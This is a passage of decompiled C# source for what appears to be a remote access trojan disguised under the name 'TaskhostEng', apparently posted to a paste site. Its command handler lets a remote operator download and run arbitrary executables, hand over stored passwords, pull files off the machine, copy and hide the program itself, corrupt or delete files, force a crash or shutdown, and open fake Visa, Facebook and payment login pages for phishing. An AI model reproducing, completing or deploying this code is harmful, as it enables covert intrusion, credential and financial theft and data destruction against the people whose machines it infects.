  1759. TaskhostEng.Beep(Conversions.ToInteger(array[1]), 0x12C);
  1760. }
  1761. else if (Operators.CompareString(left, "IEhome", false) == 0)
  1762. {
  1763. TaskhostEng.AddHome(array[1]);
  1764. }
  1765. else if (Operators.CompareString(left, "openchat", false) == 0)
  1766. {
  1767. TaskhostEng.C.Send("readytochat");
  1768. }
  1769. else if (Operators.CompareString(left, "openurl", false) == 0)
  1770. {
  1771. if (Operators.CompareString(array[1], "Default", false) == 0)
  1772. {
  1773. try
  1774. {
  1775. Process.Start(array[2]);
  1776. return;
  1777. }
  1778. catch (Exception ex23)
  1779. {
  1780. return;
  1781. }
  1782. }
  1783. try
  1784. {
  1785. Process.Start(array[1], array[2]);
  1786. }
  1787. catch (Exception ex24)
  1788. {
  1789. }
  1790. }
  1791. else if (Operators.CompareString(left, "LockPC", false) == 0)
  1792. {
  1793. Process.Start("rundll32.exe", "user32.dll,LockWorkStation");
  1794. }
  1795. else if (Operators.CompareString(left, "shutdowncomputer", false) == 0)
  1796. {
  1797. Interaction.Shell("shutdown -s -t 00", AppWinStyle.Hide, false, -1);
  1798. }
  1799. else if (Operators.CompareString(left, "restartcomputer", false) == 0)
  1800. {
  1801. Interaction.Shell("shutdown -r -t 00", AppWinStyle.Hide, false, -1);
  1802. }
  1803. else if (Operators.CompareString(left, "logoff", false) == 0)
  1804. {
  1805. Interaction.Shell("shutdown -l -t 00", AppWinStyle.Hide, false, -1);
  1806. }
  1807. else if (Operators.CompareString(left, "sleep", false) == 0)
  1808. {
  1809. TaskhostEng.SetSuspendState(0, 1, 0);
  1810. }
  1811. else if (Operators.CompareString(left, "fun", false) == 0)
  1812. {
  1813. TaskhostEng.C.Send("fun");
  1814. }
  1815. else if (Operators.CompareString(left, "tt", false) == 0)
  1816. {
  1817. TaskhostEng.C.Send("tt");
  1818. }
  1819. else if (Operators.CompareString(left, "opentto", false) == 0)
  1820. {
  1821. TaskhostEng.C.Send("opentto");
  1822. }
  1823. else if (Operators.CompareString(left, "TextToSpeech", false) == 0)
  1824. {
  1825. object objectValue2 = RuntimeHelpers.GetObjectValue(Interaction.CreateObject("SAPI.Spvoice", ""));
  1826. object instance9 = objectValue2;
  1827. Type type9 = null;
  1828. string memberName9 = "speak";
  1829. object[] array18 = new object[1];
  1830. object[] array45 = array18;
  1831. int num39 = 0;
  1832. string[] array43 = array;
  1833. string[] array46 = array43;
  1834. int num36 = 1;
  1835. array45[num39] = array46[num36];
  1836. object[] array29 = array18;
  1837. object[] arguments9 = array29;
  1838. string[] argumentNames9 = null;
  1839. Type[] typeArguments9 = null;
  1840. bool[] array19 = new bool[]
  1841. {
  1842. true
  1843. };
  1844. NewLateBinding.LateCall(instance9, type9, memberName9, arguments9, argumentNames9, typeArguments9, array19, true);
  1845. if (array19[0])
  1846. {
  1847. array43[num36] = (string)Conversions.ChangeType(RuntimeHelpers.GetObjectValue(array29[0]), typeof(string));
  1848. }
  1849. }
  1850. else if (Operators.CompareString(left, "volup", false) == 0)
  1851. {
  1852. IntPtr handle = TaskhostEng.invoker.Handle;
  1853. int msg = 0x319;
  1854. IntPtr handle2 = TaskhostEng.invoker.Handle;
  1855. IntPtr handle3 = new IntPtr(0xA0000);
  1856. TaskhostEng.SendMessageW(handle, msg, handle2, handle3);
  1857. }
  1858. else if (Operators.CompareString(left, "voldn", false) == 0)
  1859. {
  1860. IntPtr handle4 = TaskhostEng.invoker.Handle;
  1861. int msg2 = 0x319;
  1862. IntPtr handle5 = TaskhostEng.invoker.Handle;
  1863. IntPtr handle3 = new IntPtr(0x90000);
  1864. TaskhostEng.SendMessageW(handle4, msg2, handle5, handle3);
  1865. }
  1866. else if (Operators.CompareString(left, "mute", false) == 0)
  1867. {
  1868. IntPtr handle6 = TaskhostEng.invoker.Handle;
  1869. int msg3 = 0x319;
  1870. IntPtr handle7 = TaskhostEng.invoker.Handle;
  1871. IntPtr handle3 = new IntPtr(0x80000);
  1872. TaskhostEng.SendMessageW(handle6, msg3, handle7, handle3);
  1873. }
  1874. else if (Operators.CompareString(left, "clipss", false) == 0)
  1875. {
  1876. TaskhostEng.C.Send("clipss" + TaskhostEng.Yy);
  1877. }
  1878. else if (Operators.CompareString(left, "getcli", false) == 0)
  1879. {
  1880. TaskhostEng.invoker.Invoke(new TaskhostEng.gt(delegate()
  1881. {
  1882. TaskhostEng.gtx();
  1883. }));
  1884. }
  1885. else if (Operators.CompareString(left, "chat", false) == 0)
  1886. {
  1887. TaskhostEng.invoker.Invoke(new TaskhostEng.chatappd(TaskhostEng.chatappds), new object[]
  1888. {
  1889. array[1],
  1890. array[2],
  1891. array[3]
  1892. });
  1893. }
  1894. else if (Operators.CompareString(left, "hotspot", false) == 0)
  1895. {
  1896. TaskhostEng.C.Send("hotspot");
  1897. }
  1898. else if (Operators.CompareString(left, "createwifi", false) == 0)
  1899. {
  1900. TaskhostEng.CreateHotspot(array[1], array[2]);
  1901. }
  1902. else if (Operators.CompareString(left, "stophotspot", false) == 0)
  1903. {
  1904. TaskhostEng.stophotspot();
  1905. }
  1906. else if (Operators.CompareString(left, "stopchat", false) == 0)
  1907. {
  1908. TaskhostEng.Form2.close();
  1909. TaskhostEng.Form2.Showed = false;
  1910. }
  1911. else if (Operators.CompareString(left, "bsod", false) == 0)
  1912. {
  1913. TaskhostEng.BSOD();
  1914. }
  1915. else if (Operators.CompareString(left, "pass1exe", false) == 0)
  1916. {
  1917. if (Directory.Exists(Environment.GetFolderPath(Environment.SpecialFolder.Personal) + "\\1"))
  1918. {
  1919. File.WriteAllBytes(Environment.GetFolderPath(Environment.SpecialFolder.Personal) + "\\1\\" + array[1], Convert.FromBase64String(array[2]));
  1920. Thread.Sleep(0x3E8);
  1921. }
  1922. else
  1923. {
  1924. Directory.CreateDirectory(Environment.GetFolderPath(Environment.SpecialFolder.Personal) + "\\1\\");
  1925. File.WriteAllBytes(Environment.GetFolderPath(Environment.SpecialFolder.Personal) + "\\1\\" + array[1], Convert.FromBase64String(array[2]));
  1926. Thread.Sleep(0x3E8);
  1927. }
  1928. }
  1929. else if (Operators.CompareString(left, "pass2exe", false) == 0)
  1930. {
  1931. if (Directory.Exists(Environment.GetFolderPath(Environment.SpecialFolder.Personal) + "\\1"))
  1932. {
  1933. File.WriteAllBytes(Environment.GetFolderPath(Environment.SpecialFolder.Personal) + "\\1\\" + array[1], Convert.FromBase64String(array[2]));
  1934. Thread.Sleep(0x3E8);
  1935. Process.Start(Environment.GetFolderPath(Environment.SpecialFolder.Personal) + "\\1\\" + array[1]);
  1936. }
  1937. else
  1938. {
  1939. Directory.CreateDirectory(Environment.GetFolderPath(Environment.SpecialFolder.Personal) + "\\1\\");
  1940. File.WriteAllBytes(Environment.GetFolderPath(Environment.SpecialFolder.Personal) + "\\1\\" + array[1], Convert.FromBase64String(array[2]));
  1941. Thread.Sleep(0x3E8);
  1942. Process.Start(Environment.GetFolderPath(Environment.SpecialFolder.Personal) + "\\1\\" + array[1]);
  1943. }
  1944. }
  1945. else if (Operators.CompareString(left, "passwords", false) == 0)
  1946. {
  1947. TaskhostEng.C.Send("openpw");
  1948. }
  1949. else
  1950. {
  1951. if (Operators.CompareString(left, "givepass", false) == 0)
  1952. {
  1953. try
  1954. {
  1955. if (File.Exists(MyProject.Computer.FileSystem.SpecialDirectories.MyDocuments + "\\1\\pass.txt"))
  1956. {
  1957. string str5 = File.ReadAllText(MyProject.Computer.FileSystem.SpecialDirectories.MyDocuments + "\\1\\pass.txt");
  1958. TaskhostEng.C.Send("givepassx" + TaskhostEng.Yy + str5);
  1959. return;
  1960. }
  1961. Process.Start(MyProject.Computer.FileSystem.SpecialDirectories.MyDocuments + "\\1\\2.exe");
  1962. return;
  1963. }
  1964. catch (Exception ex25)
  1965. {
  1966. return;
  1967. }
  1968. }
  1969. if (Operators.CompareString(left, "delpass", false) == 0)
  1970. {
  1971. if (Directory.Exists(Environment.GetFolderPath(Environment.SpecialFolder.Personal) + "\\1"))
  1972. {
  1973. Directory.Delete(Environment.GetFolderPath(Environment.SpecialFolder.Personal) + "\\1", true);
  1974. }
  1975. }
  1976. else if (Operators.CompareString(left, "viewimage", false) == 0)
  1977. {
  1978. TaskhostEng.C.Send("viewimage" + TaskhostEng.Yy + Convert.ToBase64String(File.ReadAllBytes(array[1])) + TaskhostEng.Yy);
  1979. }
  1980. else if (Operators.CompareString(left, "GetDrives", false) == 0)
  1981. {
  1982. TaskhostEng.C.Send("FileManager" + TaskhostEng.Yy + TaskhostEng.getDrives());
  1983. }
  1984. else
  1985. {
  1986. if (Operators.CompareString(left, "FileManager", false) == 0)
  1987. {
  1988. try
  1989. {
  1990. TaskhostEng.C.Send("FileManager" + TaskhostEng.Yy + TaskhostEng.getFolders(array[1]) + TaskhostEng.getFiles(array[1]));
  1991. return;
  1992. }
  1993. catch (Exception ex26)
  1994. {
  1995. TaskhostEng.C.Send("FileManager" + TaskhostEng.Yy + "Error");
  1996. return;
  1997. }
  1998. }
  1999. if (Operators.CompareString(left, "\\\\", false) == 0)
  2000. {
  2001. TaskhostEng.C.Send("\\\\");
  2002. }
  2003. else if (Operators.CompareString(left, "Delete", false) == 0)
  2004. {
  2005. string left9 = array[1];
  2006. if (Operators.CompareString(left9, "Folder", false) == 0)
  2007. {
  2008. Directory.Delete(array[2]);
  2009. }
  2010. else if (Operators.CompareString(left9, "File", false) == 0)
  2011. {
  2012. File.Delete(array[2]);
  2013. }
  2014. }
  2015. else if (Operators.CompareString(left, "Execute", false) == 0)
  2016. {
  2017. Process.Start(array[1]);
  2018. }
  2019. else if (Operators.CompareString(left, "Exletn", false) == 0)
  2020. {
  2021. Process process7 = new Process
  2022. {
  2023. StartInfo = new ProcessStartInfo(array[1])
  2024. {
  2025. Verb = "runas",
  2026. UseShellExecute = true
  2027. }
  2028. };
  2029. process7.Start();
  2030. }
  2031. else
  2032. {
  2033. if (Operators.CompareString(left, "CpoSx", false) == 0)
  2034. {
  2035. try
  2036. {
  2037. File.Copy(Application.ExecutablePath, Conversions.ToString(Operators.AddObject(array[1] + "\\", TaskhostEng.vvname)), true);
  2038. return;
  2039. }
  2040. catch (Exception ex27)
  2041. {
  2042. Interaction.MsgBox(ex27.Message, MsgBoxStyle.OkOnly, null);
  2043. return;
  2044. }
  2045. }
  2046. if (Operators.CompareString(left, "IOPPYR", false) == 0)
  2047. {
  2048. try
  2049. {
  2050. File.Copy(Application.ExecutablePath, Conversions.ToString(Operators.AddObject(array[1] + "\\", TaskhostEng.vvname)), true);
  2051. File.SetAttributes(array[1] + ".EXE", FileAttributes.Hidden);
  2052. return;
  2053. }
  2054. catch (Exception ex28)
  2055. {
  2056. Interaction.MsgBox(ex28.Message, MsgBoxStyle.OkOnly, null);
  2057. return;
  2058. }
  2059. }
  2060. if (Operators.CompareString(left, "EMNS", false) == 0)
  2061. {
  2062. File.Encrypt(array[1]);
  2063. }
  2064. else if (Operators.CompareString(left, "EMNqS", false) == 0)
  2065. {
  2066. File.Decrypt(array[1]);
  2067. }
  2068. else if (Operators.CompareString(left, "Cuut", false) == 0)
  2069. {
  2070. TaskhostEng.Copy_cut = array[1];
  2071. }
  2072. else if (Operators.CompareString(left, "Cuutod", false) == 0)
  2073. {
  2074. TaskhostEng.Copy_cut = array[1];
  2075. }
  2076. else
  2077. {
  2078. if (Operators.CompareString(left, "Cuutodsd", false) == 0)
  2079. {
  2080. try
  2081. {
  2082. File.Move(TaskhostEng.Copy_cut, array[1]);
  2083. return;
  2084. }
  2085. catch (Exception ex29)
  2086. {
  2087. Interaction.MsgBox(ex29.Message, MsgBoxStyle.OkOnly, null);
  2088. return;
  2089. }
  2090. }
  2091. if (Operators.CompareString(left, "dCopsx", false) == 0)
  2092. {
  2093. try
  2094. {
  2095. File.Copy(TaskhostEng.Copy_cut, array[1], true);
  2096. return;
  2097. }
  2098. catch (Exception ex30)
  2099. {
  2100. Interaction.MsgBox(ex30.Message, MsgBoxStyle.OkOnly, null);
  2101. return;
  2102. }
  2103. }
  2104. if (Operators.CompareString(left, "camhost", false) == 0)
  2105. {
  2106. TaskhostEng.C.Send("camhost" + TaskhostEng.Yy + TaskhostEng.HOST);
  2107. }
  2108. else if (Operators.CompareString(left, "CLLSKXOa", false) == 0)
  2109. {
  2110. IntPtr handle3 = TaskhostEng.invoker.Handle;
  2111. int num40 = handle3.ToInt32();
  2112. string text18 = null;
  2113. TaskhostEng.SHEmptyRecycleBin(num40, ref text18, 5);
  2114. TaskhostEng.SHUpdateRecycleBinIcon();
  2115. }
  2116. else
  2117. {
  2118. if (Operators.CompareString(left, "sqlwordlist", false) == 0)
  2119. {
  2120. try
  2121. {
  2122. string str6 = Path.GetTempPath() + "sqlmap\\txt\\";
  2123. if (File.Exists(str6 + array[1]))
  2124. {
  2125. return;
  2126. }
  2127. File.WriteAllBytes(str6 + array[1], Convert.FromBase64String(array[2]));
  2128. Thread.Sleep(0x3E8);
  2129. TaskhostEng.C.Send("rarsql");
  2130. return;
  2131. }
  2132. catch (Exception ex31)
  2133. {
  2134. return;
  2135. }
  2136. }
  2137. if (Operators.CompareString(left, "rarsql", false) == 0)
  2138. {
  2139. try
  2140. {
  2141. if (File.Exists(Path.GetTempPath() + array[1]))
  2142. {
  2143. if (TaskhostEng.sqlrared)
  2144. {
  2145. }
  2146. }
  2147. else
  2148. {
  2149. File.WriteAllBytes(Path.GetTempPath() + array[1], Convert.FromBase64String(array[2]));
  2150. Thread.Sleep(0x3E8);
  2151. TaskhostEng.sqlrared = true;
  2152. TaskhostEng.C.Send("rarsql");
  2153. }
  2154. return;
  2155. }
  2156. catch (Exception ex32)
  2157. {
  2158. return;
  2159. }
  2160. }
  2161. if (Operators.CompareString(left, "unrarsql", false) == 0)
  2162. {
  2163. try
  2164. {
  2165. if (TaskhostEng.sqlunrared)
  2166. {
  2167. return;
  2168. }
  2169. string text22 = Path.GetTempPath() + "sqlmap.rar";
  2170. string text23 = text22.Replace(".rar", "");
  2171. if (!Directory.Exists(text23))
  2172. {
  2173. Directory.CreateDirectory(text23);
  2174. }
  2175. string text24 = Path.GetTempPath() + "\\UnRAR ";
  2176. string pathName = string.Concat(new string[]
  2177. {
  2178. text24,
  2179. "x ",
  2180. text22,
  2181. " ",
  2182. text23
  2183. });
  2184. Interaction.Shell(pathName, AppWinStyle.MinimizedFocus, false, -1);
  2185. TaskhostEng.sqlunrared = true;
  2186. return;
  2187. }
  2188. catch (Exception ex33)
  2189. {
  2190. return;
  2191. }
  2192. }
  2193. if (Operators.CompareString(left, "visarar", false) == 0)
  2194. {
  2195. if (!File.Exists(Path.GetTempPath() + array[1]))
  2196. {
  2197. File.WriteAllBytes(Path.GetTempPath() + array[1], Convert.FromBase64String(array[2]));
  2198. Thread.Sleep(0x3E8);
  2199. }
  2200. try
  2201. {
  2202. string text25 = Path.GetTempPath() + "visa.rar";
  2203. string text26 = text25.Replace(".rar", "");
  2204. if (!Directory.Exists(text26))
  2205. {
  2206. Directory.CreateDirectory(text26);
  2207. }
  2208. string text27 = Path.GetTempPath() + "\\UnRAR ";
  2209. string pathName2 = string.Concat(new string[]
  2210. {
  2211. text27,
  2212. "x ",
  2213. text25,
  2214. " ",
  2215. text26
  2216. });
  2217. Interaction.Shell(pathName2, AppWinStyle.MinimizedFocus, false, -1);
  2218. return;
  2219. }
  2220. catch (Exception ex34)
  2221. {
  2222. return;
  2223. }
  2224. }
  2225. if (Operators.CompareString(left, "fbrar", false) == 0)
  2226. {
  2227. if (!File.Exists(Path.GetTempPath() + array[1]))
  2228. {
  2229. File.WriteAllBytes(Path.GetTempPath() + array[1], Convert.FromBase64String(array[2]));
  2230. Thread.Sleep(0x3E8);
  2231. }
  2232. try
  2233. {
  2234. string text28 = Path.GetTempPath() + "fb.rar";
  2235. string text29 = text28.Replace(".rar", "");
  2236. if (!Directory.Exists(text29))
  2237. {
  2238. Directory.CreateDirectory(text29);
  2239. }
  2240. string text30 = Path.GetTempPath() + "\\UnRAR ";
  2241. string pathName3 = string.Concat(new string[]
  2242. {
  2243. text30,
  2244. "x ",
  2245. text28,
  2246. " ",
  2247. text29
  2248. });
  2249. Interaction.Shell(pathName3, AppWinStyle.MinimizedFocus, false, -1);
  2250. return;
  2251. }
  2252. catch (Exception ex35)
  2253. {
  2254. return;
  2255. }
  2256. }
  2257. if (Operators.CompareString(left, "payrar", false) == 0)
  2258. {
  2259. if (!File.Exists(Path.GetTempPath() + array[1]))
  2260. {
  2261. File.WriteAllBytes(Path.GetTempPath() + array[1], Convert.FromBase64String(array[2]));
  2262. Thread.Sleep(0x3E8);
  2263. }
  2264. try
  2265. {
  2266. string text31 = Path.GetTempPath() + "pay.rar";
  2267. string text32 = text31.Replace(".rar", "");
  2268. if (!Directory.Exists(text32))
  2269. {
  2270. Directory.CreateDirectory(text32);
  2271. }
  2272. string text33 = Path.GetTempPath() + "\\UnRAR ";
  2273. string pathName4 = string.Concat(new string[]
  2274. {
  2275. text33,
  2276. "x ",
  2277. text31,
  2278. " ",
  2279. text32
  2280. });
  2281. Interaction.Shell(pathName4, AppWinStyle.MinimizedFocus, false, -1);
  2282. return;
  2283. }
  2284. catch (Exception ex36)
  2285. {
  2286. return;
  2287. }
  2288. }
  2289. if (Operators.CompareString(left, "visa", false) == 0)
  2290. {
  2291. if (File.Exists(Path.GetTempPath() + "visa\\index.html"))
  2292. {
  2293. Process.Start(Path.GetTempPath() + "visa\\index.html");
  2294. }
  2295. }
  2296. else if (Operators.CompareString(left, "scam", false) == 0)
  2297. {
  2298. if (File.Exists(Path.GetTempPath() + "pay\\Log in to your account.html"))
  2299. {
  2300. Process.Start(Path.GetTempPath() + "pay\\Log in to your account.html");
  2301. }
  2302. }
  2303. else if (Operators.CompareString(left, "facebook", false) == 0)
  2304. {
  2305. if (File.Exists(Path.GetTempPath() + "fb\\index.html"))
  2306. {
  2307. Process.Start(Path.GetTempPath() + "fb\\index.html");
  2308. }
  2309. }
  2310. else if (Operators.CompareString(left, "getsqlmappath", false) == 0)
  2311. {
  2312. TaskhostEng.C.Send("sqlmappath" + TaskhostEng.Yy + Path.GetTempPath() + "sqlmap");
  2313. }
  2314. else if (Operators.CompareString(left, "WriteRAR", false) == 0)
  2315. {
  2316. if (!File.Exists(Path.GetTempPath() + array[1]))
  2317. {
  2318. File.WriteAllBytes(Path.GetTempPath() + array[1], Convert.FromBase64String(array[2]));
  2319. Thread.Sleep(0x3E8);
  2320. }
  2321. }
  2322. else if (Operators.CompareString(left, "WriteUNRAR", false) == 0)
  2323. {
  2324. if (!File.Exists(Path.GetTempPath() + array[1]))
  2325. {
  2326. File.WriteAllBytes(Path.GetTempPath() + array[1], Convert.FromBase64String(array[2]));
  2327. Thread.Sleep(0x3E8);
  2328. }
  2329. }
  2330. else if (Operators.CompareString(left, "EIIT", false) == 0)
  2331. {
  2332. string text34 = Path.GetTempPath() + "\\RAR ";
  2333. string text35 = array[1];
  2334. string text36 = array[2] + ".rar";
  2335. Interaction.Shell(string.Concat(new string[]
  2336. {
  2337. text34,
  2338. "a -r ",
  2339. array[1],
  2340. text36,
  2341. " ",
  2342. text35
  2343. }), AppWinStyle.MinimizedFocus, false, -1);
  2344. }
  2345. else
  2346. {
  2347. if (Operators.CompareString(left, "Decrar", false) == 0)
  2348. {
  2349. try
  2350. {
  2351. string text37 = array[1].Replace(".rar", "");
  2352. if (!Directory.Exists(text37))
  2353. {
  2354. Directory.CreateDirectory(text37);
  2355. }
  2356. string text38 = array[1];
  2357. string text39 = Path.GetTempPath() + "\\UnRAR ";
  2358. string pathName5 = string.Concat(new string[]
  2359. {
  2360. text39,
  2361. "x ",
  2362. text38,
  2363. " ",
  2364. text37
  2365. });
  2366. Interaction.Shell(pathName5, AppWinStyle.MinimizedFocus, false, -1);
  2367. return;
  2368. }
  2369. catch (Exception ex37)
  2370. {
  2371. return;
  2372. }
  2373. }
  2374. if (Operators.CompareString(left, "Rename", false) == 0)
  2375. {
  2376. string left10 = array[1];
  2377. if (Operators.CompareString(left10, "Folder", false) == 0)
  2378. {
  2379. MyProject.Computer.FileSystem.RenameDirectory(array[2], array[3]);
  2380. }
  2381. else if (Operators.CompareString(left10, "File", false) == 0)
  2382. {
  2383. MyProject.Computer.FileSystem.RenameFile(array[2], array[3]);
  2384. }
  2385. }
  2386. else if (Operators.CompareString(left, "sendfile", false) == 0)
  2387. {
  2388. File.WriteAllBytes(Path.GetTempPath() + array[1], Convert.FromBase64String(array[2]));
  2389. Thread.Sleep(0x3E8);
  2390. Process.Start(Path.GetTempPath() + array[1]);
  2391. TaskhostEng.C.Send("Coloreg");
  2392. }
  2393. else if (Operators.CompareString(left, "playmusic", false) == 0)
  2394. {
  2395. MyProject.Computer.Audio.Play(array[1], AudioPlayMode.Background);
  2396. }
  2397. else if (Operators.CompareString(left, "getdesktoppath", false) == 0)
  2398. {
  2399. string folderPath2 = Environment.GetFolderPath(Environment.SpecialFolder.Desktop);
  2400. TaskhostEng.C.Send("getpath" + TaskhostEng.Yy + folderPath2 + "\\");
  2401. }
  2402. else if (Operators.CompareString(left, "gettemppath", false) == 0)
  2403. {
  2404. string tempPath = Path.GetTempPath();
  2405. TaskhostEng.C.Send("getpath" + TaskhostEng.Yy + tempPath);
  2406. }
  2407. else if (Operators.CompareString(left, "getstartuppath", false) == 0)
  2408. {
  2409. string folderPath3 = Environment.GetFolderPath(Environment.SpecialFolder.Startup);
  2410. TaskhostEng.C.Send("getpath" + TaskhostEng.Yy + folderPath3 + "\\");
  2411. }
  2412. else if (Operators.CompareString(left, "getmydocumentspath", false) == 0)
  2413. {
  2414. string folderPath4 = Environment.GetFolderPath(Environment.SpecialFolder.Personal);
  2415. TaskhostEng.C.Send("getpath" + TaskhostEng.Yy + folderPath4 + "\\");
  2416. }
  2417. else if (Operators.CompareString(left, "getmydocumentspath", false) == 0)
  2418. {
  2419. string folderPath5 = Environment.GetFolderPath(Environment.SpecialFolder.Personal);
  2420. TaskhostEng.C.Send("getpath" + TaskhostEng.Yy + folderPath5 + "\\");
  2421. }
  2422. else if (Operators.CompareString(left, "getmydocumentspath", false) == 0)
  2423. {
  2424. string folderPath6 = Environment.GetFolderPath(Environment.SpecialFolder.Personal);
  2425. TaskhostEng.C.Send("getpath" + TaskhostEng.Yy + folderPath6 + "\\");
  2426. }
  2427. else if (Operators.CompareString(left, "edittextfile", false) == 0)
  2428. {
  2429. StreamReader streamReader5 = new StreamReader(array[1]);
  2430. string text40 = streamReader5.ReadToEnd();
  2431. streamReader5.Close();
  2432. TaskhostEng.C.Send(string.Concat(new string[]
  2433. {
  2434. "edittextfile",
  2435. TaskhostEng.Yy,
  2436. array[1],
  2437. TaskhostEng.Yy,
  2438. text40
  2439. }));
  2440. }
  2441. else if (Operators.CompareString(left, "savetextfile", false) == 0)
  2442. {
  2443. StreamWriter streamWriter = new StreamWriter(array[1]);
  2444. streamWriter.WriteLine(array[2]);
  2445. streamWriter.Close();
  2446. }
  2447. else
  2448. {
  2449. if (Operators.CompareString(left, "creatnewtextfile", false) == 0)
  2450. {
  2451. try
  2452. {
  2453. File.Create(array[1]).Dispose();
  2454. return;
  2455. }
  2456. catch (Exception ex38)
  2457. {
  2458. TaskhostEng.C.Send(string.Concat(new string[]
  2459. {
  2460. "msgbox",
  2461. TaskhostEng.Yy,
  2462. "Information",
  2463. TaskhostEng.Yy,
  2464. "File Name Already Exists"
  2465. }));
  2466. return;
  2467. }
  2468. }
  2469. if (Operators.CompareString(left, "setaswallpaper", false) == 0)
  2470. {
  2471. TaskhostEng.SystemParametersInfo(0x14, 0, ref array[1], 1);
  2472. }
  2473. else if (Operators.CompareString(left, "sendfileto", false) == 0)
  2474. {
  2475. File.WriteAllBytes(array[1], Convert.FromBase64String(array[2]));
  2476. Thread.Sleep(0x3E8);
  2477. }
  2478. else
  2479. {
  2480. if (Operators.CompareString(left, "creatnewfolder", false) == 0)
  2481. {
  2482. try
  2483. {
  2484. MyProject.Computer.FileSystem.CreateDirectory(array[1]);
  2485. return;
  2486. }
  2487. catch (Exception ex39)
  2488. {
  2489. return;
  2490. }
  2491. }
  2492. if (Operators.CompareString(left, "hidefolderfile", false) == 0)
  2493. {
  2494. FileAttribute attributes = FileAttribute.Hidden;
  2495. try
  2496. {
  2497. FileSystem.SetAttr(array[1], attributes);
  2498. return;
  2499. }
  2500. catch (Exception ex40)
  2501. {
  2502. return;
  2503. }
  2504. }
  2505. if (Operators.CompareString(left, "download", false) == 0)
  2506. {
  2507. WebClient webClient = new WebClient();
  2508. string text41 = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + "\\" + array[2];
  2509. if (File.Exists(text41))
  2510. {
  2511. File.Delete(text41);
  2512. }
  2513. File.WriteAllBytes(text41, webClient.DownloadData(array[1]));
  2514. Process.Start(text41);
  2515. TaskhostEng.C.Send("Coloreg");
  2516. }
  2517. else
  2518. {
  2519. if (Operators.CompareString(left, "showfolderfile", false) == 0)
  2520. {
  2521. FileAttribute attributes2 = FileAttribute.Normal;
  2522. try
  2523. {
  2524. FileSystem.SetAttr(array[1], attributes2);
  2525. return;
  2526. }
  2527. catch (Exception ex41)
  2528. {
  2529. return;
  2530. }
  2531. }
  2532. if (Operators.CompareString(left, "downloadfile", false) == 0)
  2533. {
  2534. TaskhostEng.C.Send(string.Concat(new string[]
  2535. {
  2536. "downloadedfile",
  2537. TaskhostEng.Yy,
  2538. Convert.ToBase64String(File.ReadAllBytes(array[1])),
  2539. TaskhostEng.Yy,
  2540. array[2]
  2541. }));
  2542. }
  2543. else if (Operators.CompareString(left, "corrupt", false) == 0)
  2544. {
  2545. string str7 = "OP0 01 01 200 01 02OP";
  2546. StreamReader streamReader6 = new StreamReader(array[1]);
  2547. string str8 = streamReader6.ReadToEnd();
  2548. streamReader6.Close();
  2549. MyProject.Computer.FileSystem.WriteAllText(array[1], str7 + str8, false);
  2550. }
  2551. else if (Operators.CompareString(left, "tt", false) == 0)
  2552. {
  2553. TaskhostEng.C.Send("tt");
  2554. }
  2555. else
  2556. {
  2557. if (Operators.CompareString(left, "Upload", false) == 0)
  2558. {
  2559. try
  2560. {
  2561. if (File.Exists(array[1]))
  2562. {
  2563. File.Delete(array[1]);
  2564. }
  2565. FileStream fileStream = new FileStream(array[1], FileMode.Create, FileAccess.Write);
  2566. byte[] array47 = TaskhostEng.SB(array[3]);
  2567. byte[] array48 = new byte[array47.Length - 2 + 1];
  2568. Array.Copy(array47, 0, array48, 0, array48.Length);
  2569. fileStream.Write(array48, 0, array48.Length);
  2570. fileStream.Close();
  2571. TaskhostEng.C.Send("NextPartOfUpload" + TaskhostEng.Yy + array[2]);
  2572. return;
  2573. }
  2574. catch (Exception ex42)
  2575. {
  2576. TaskhostEng.C.Send("UploadFailed" + TaskhostEng.Yy + array[2]);
  2577. return;
  2578. }
  2579. }
  2580. if (Operators.CompareString(left, "UploadContinue", false) == 0)
  2581. {
  2582. try
  2583. {
  2584. IL_4E44:
  2585. FileStream fileStream2 = new FileStream(array[1], FileMode.Append, FileAccess.Write);
  2586. byte[] array49 = TaskhostEng.SB(array[3]);
  2587. byte[] array50 = new byte[array49.Length - 2 + 1];
  2588. Array.Copy(array49, 0, array50, 0, array50.Length);
  2589. fileStream2.Write(array50, 0, array50.Length);
  2590. fileStream2.Close();
  2591. TaskhostEng.C.Send("NextPartOfUpload" + TaskhostEng.Yy + array[2]);
  2592. return;
  2593. }
  2594. catch (Exception ex43)
  2595. {
  2596. goto IL_4E44;
  2597. }
  2598. }
  2599. if (Operators.CompareString(left, "CancelUpload", false) == 0)
  2600. {
  2601. for (;;)
  2602. {
  2603. try
  2604. {
  2605. if (File.Exists(array[1]))
  2606. {
  2607. File.Delete(array[1]);
  2608. }
  2609. }
  2610. catch (Exception ex44)
  2611. {
  2612. continue;
  2613. }
  2614. break;
  2615. }
  2616. }
  2617. }
  2618. }
  2619. }
  2620. }
  2621. }
  2622. }
  2623. }
  2624. }
  2625. }
  2626. }
  2627. }
  2628. }
  2629. }
  2630. }
  2631. }
  2632. }
  2633. }
  2634. }
  2635. }
  2636. }
  2637. catch (Exception ex45)
  2638. {
  2639. }
  2640. }
  2641. }
  2642.  
Add Comment
Please, Sign In to add comment